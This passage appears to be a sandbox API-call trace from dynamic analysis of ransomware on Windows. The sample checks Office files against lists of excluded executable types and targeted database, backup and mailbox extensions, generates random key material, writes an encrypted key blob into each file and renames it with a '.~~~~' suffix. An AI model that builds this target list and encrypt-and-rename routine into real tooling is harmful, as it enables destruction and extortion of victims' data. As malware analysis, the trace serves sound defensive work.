	[0134.756] lstrlenW (lpString=".EQL") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".EQL") returned 0x0
	[0134.756] lstrlenW (lpString=".FDB") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".FDB") returned 0x0
	[0134.756] lstrlenW (lpString=".EDB") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".EDB") returned 0x0
	[0134.756] lstrlenW (lpString=".DACPAC") returned 7
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0134.756] lstrlenW (lpString=".VHD") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".VHD") returned 0x0
	[0134.756] lstrlenW (lpString=".DBV") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DBV") returned 0x0
	[0134.756] lstrlenW (lpString=".dacpac") returned 7
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0134.756] lstrlenW (lpString=".sdf") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".sdf") returned 0x0
	[0134.756] lstrlenW (lpString=".accdb") returned 6
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".accdb") returned 0x0
	[0134.757] lstrlenW (lpString=".DBX") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DBX") returned 0x0
	[0134.757] lstrlenW (lpString=".MDT") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".MDT") returned 0x0
	[0134.757] lstrlenW (lpString=".SQB") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".SQB") returned 0x0
	[0134.757] lstrlenW (lpString=".vhd") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".vhd") returned 0x0
	[0134.757] lstrlenW (lpString=".bac") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".bac") returned 0x0
	[0134.757] lstrlenW (lpString=".mdf") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".mdf") returned 0x0
	[0134.757] lstrlenW (lpString=".BAK") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".BAK") returned 0x0
	[0134.757] lstrlenW (lpString=".BAC") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".BAC") returned 0x0
	[0134.757] lstrlenW (lpString=".dbs") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dbs") returned 0x0
	[0134.757] lstrlenW (lpString=".vhdx") returned 5
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0134.757] lstrlenW (lpString=".NDF") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".NDF") returned 0x0
	[0134.757] lstrlenW (lpString=".dat") returned 4
	[0134.757] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dat") returned 0x0
	[0134.758] lstrlenW (lpString=".DBS") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DBS") returned 0x0
	[0134.758] lstrlenW (lpString=".CKP") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".CKP") returned 0x0
	[0134.758] lstrlenW (lpString=".edb") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".edb") returned 0x0
	[0134.758] lstrlenW (lpString=".PST") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".PST") returned 0x0
	[0134.758] lstrlenW (lpString=".dbf") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dbf") returned 0x0
	[0134.758] lstrlenW (lpString=".SQL") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".SQL") returned 0x0
	[0134.758] lstrlenW (lpString=".pst") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".pst") returned 0x0
	[0134.758] lstrlenW (lpString=".dbv") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dbv") returned 0x0
	[0134.758] lstrlenW (lpString=".SDF") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".SDF") returned 0x0
	[0134.758] lstrlenW (lpString=".dtxs") returned 5
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dtxs") returned 0x0
	[0134.758] lstrlenW (lpString=".db3") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".db3") returned 0x0
	[0134.758] lstrlenW (lpString=".OST") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".OST") returned 0x0
	[0134.758] lstrlenW (lpString=".dbx") returned 4
	[0134.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dbx") returned 0x0
	[0134.759] lstrlenW (lpString=".DB3") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DB3") returned 0x0
	[0134.759] lstrlenW (lpString=".DAT") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DAT") returned 0x0
	[0134.759] lstrlenW (lpString=".VHDX") returned 5
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".VHDX") returned 0x0
	[0134.759] lstrlenW (lpString=".ndf") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".ndf") returned 0x0
	[0134.759] lstrlenW (lpString=".DB") returned 3
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DB") returned 0x0
	[0134.759] lstrlenW (lpString=".sql") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".sql") returned 0x0
	[0134.759] lstrlenW (lpString=".MYD") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".MYD") returned 0x0
	[0134.759] lstrlenW (lpString=".DBT") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DBT") returned 0x0
	[0134.759] lstrlenW (lpString=".ACCDB") returned 6
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".ACCDB") returned 0x0
	[0134.759] lstrlenW (lpString=".fdb") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".fdb") returned 0x0
	[0134.759] lstrlenW (lpString=".bak") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".bak") returned 0x0
	[0134.759] lstrlenW (lpString=".myd") returned 4
	[0134.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".myd") returned 0x0
	[0134.759] lstrlenW (lpString=".DTXS") returned 5
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DTXS") returned 0x0
	[0134.760] lstrlenW (lpString=".ckp") returned 4
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".ckp") returned 0x0
	[0134.760] lstrlenW (lpString=".dbt") returned 4
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dbt") returned 0x0
	[0134.760] lstrlenW (lpString=".db") returned 3
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".db") returned 0x0
	[0134.760] lstrlenW (lpString=".TXT") returned 4
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".TXT") returned 0x0
	[0134.760] lstrlenW (lpString=".MDF") returned 4
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".MDF") returned 0x0
	[0134.760] lstrlenW (lpString=".bdb") returned 4
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".bdb") returned 0x0
	[0134.760] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0134.760] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.760] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0840) returned 1
	[0134.761] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.761] CryptReleaseContext (hProv=0x3a0840, dwFlags=0x0) returned 1
	[0134.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0134.762] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25475178890) returned 1
	[0134.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb9c56710, dwHighDateTime=0x1d60e1e)) 
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cc78
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cc78 | out: hHeap=0x300000) returned 1
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4f50
	[0134.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.762] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0134.763] GetLastError () returned 0x0
	[0134.763] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0134.763] GetLastError () returned 0x0
	[0134.868] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffffd8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.868] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x272, lpOverlapped=0x0) returned 1
	[0134.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0134.868] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.868] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.868] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.868] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.868] CloseHandle (hObject=0xc4) returned 1
	[0134.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5378
	[0134.869] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.~~~~")) returned 1
	[0135.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5378 | out: hHeap=0x300000) returned 1
	[0135.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.287] GetLastError () returned 0x0
	[0135.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".scr") returned 0x0
	[0135.287] lstrlenW (lpString=".cmd") returned 4
	[0135.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".cmd") returned 0x0
	[0135.287] lstrlenW (lpString=".dll") returned 4
	[0135.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dll") returned 0x0
	[0135.287] lstrlenW (lpString=".bat") returned 4
	[0135.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".bat") returned 0x0
	[0135.287] lstrlenW (lpString=".cpl") returned 4
	[0135.287] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".cpl") returned 0x0
	[0135.288] lstrlenW (lpString=".sys") returned 4
	[0135.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".sys") returned 0x0
	[0135.288] lstrlenW (lpString=".msc") returned 4
	[0135.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".msc") returned 0x0
	[0135.288] lstrlenW (lpString=".com") returned 4
	[0135.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".com") returned 0x0
	[0135.288] lstrlenW (lpString=".lnk") returned 4
	[0135.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".lnk") returned 0x0
	[0135.288] lstrlenW (lpString=".msp") returned 4
	[0135.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".msp") returned 0x0
	[0135.288] lstrlenW (lpString=".pif") returned 4
	[0135.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".pif") returned 0x0
	[0135.288] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0135.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.290] lstrlenW (lpString=".sqb") returned 4
	[0135.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".sqb") returned 0x0
	[0135.290] lstrlenW (lpString=".ost") returned 4
	[0135.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".ost") returned 0x0
	[0135.290] lstrlenW (lpString=".txt") returned 4
	[0135.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".txt") returned 0x0
	[0135.290] lstrlenW (lpString=".mdt") returned 4
	[0135.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".mdt") returned 0x0
	[0135.290] lstrlenW (lpString=".BDB") returned 4
	[0135.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".BDB") returned 0x0
	[0135.290] lstrlenW (lpString=".eql") returned 4
	[0135.290] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".eql") returned 0x0
	[0135.290] lstrlenW (lpString=".DBF") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DBF") returned 0x0
	[0135.291] lstrlenW (lpString=".EQL") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".EQL") returned 0x0
	[0135.291] lstrlenW (lpString=".FDB") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".FDB") returned 0x0
	[0135.291] lstrlenW (lpString=".EDB") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".EDB") returned 0x0
	[0135.291] lstrlenW (lpString=".DACPAC") returned 7
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DACPAC") returned 0x0
	[0135.291] lstrlenW (lpString=".VHD") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".VHD") returned 0x0
	[0135.291] lstrlenW (lpString=".DBV") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DBV") returned 0x0
	[0135.291] lstrlenW (lpString=".dacpac") returned 7
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dacpac") returned 0x0
	[0135.291] lstrlenW (lpString=".sdf") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".sdf") returned 0x0
	[0135.291] lstrlenW (lpString=".accdb") returned 6
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".accdb") returned 0x0
	[0135.291] lstrlenW (lpString=".DBX") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DBX") returned 0x0
	[0135.291] lstrlenW (lpString=".MDT") returned 4
	[0135.291] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".MDT") returned 0x0
	[0135.291] lstrlenW (lpString=".SQB") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".SQB") returned 0x0
	[0135.292] lstrlenW (lpString=".vhd") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".vhd") returned 0x0
	[0135.292] lstrlenW (lpString=".bac") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".bac") returned 0x0
	[0135.292] lstrlenW (lpString=".mdf") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".mdf") returned 0x0
	[0135.292] lstrlenW (lpString=".BAK") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".BAK") returned 0x0
	[0135.292] lstrlenW (lpString=".BAC") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".BAC") returned 0x0
	[0135.292] lstrlenW (lpString=".dbs") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dbs") returned 0x0
	[0135.292] lstrlenW (lpString=".vhdx") returned 5
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".vhdx") returned 0x0
	[0135.292] lstrlenW (lpString=".NDF") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".NDF") returned 0x0
	[0135.292] lstrlenW (lpString=".dat") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dat") returned 0x0
	[0135.292] lstrlenW (lpString=".DBS") returned 4
	[0135.292] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".DBS") returned 0x0
	[0135.293] lstrlenW (lpString=".CKP") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".CKP") returned 0x0
	[0135.293] lstrlenW (lpString=".edb") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".edb") returned 0x0
	[0135.293] lstrlenW (lpString=".PST") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".PST") returned 0x0
	[0135.293] lstrlenW (lpString=".dbf") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dbf") returned 0x0
	[0135.293] lstrlenW (lpString=".SQL") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".SQL") returned 0x0
	[0135.293] lstrlenW (lpString=".pst") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".pst") returned 0x0
	[0135.293] lstrlenW (lpString=".dbv") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".dbv") returned 0x0
	[0135.293] lstrlenW (lpString=".SDF") returned 4
	[0135.293] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC", lpSrch=".SDF") returned 0x0
	[0135.293] lstrlenW (lpString=".dtxs") returned 5
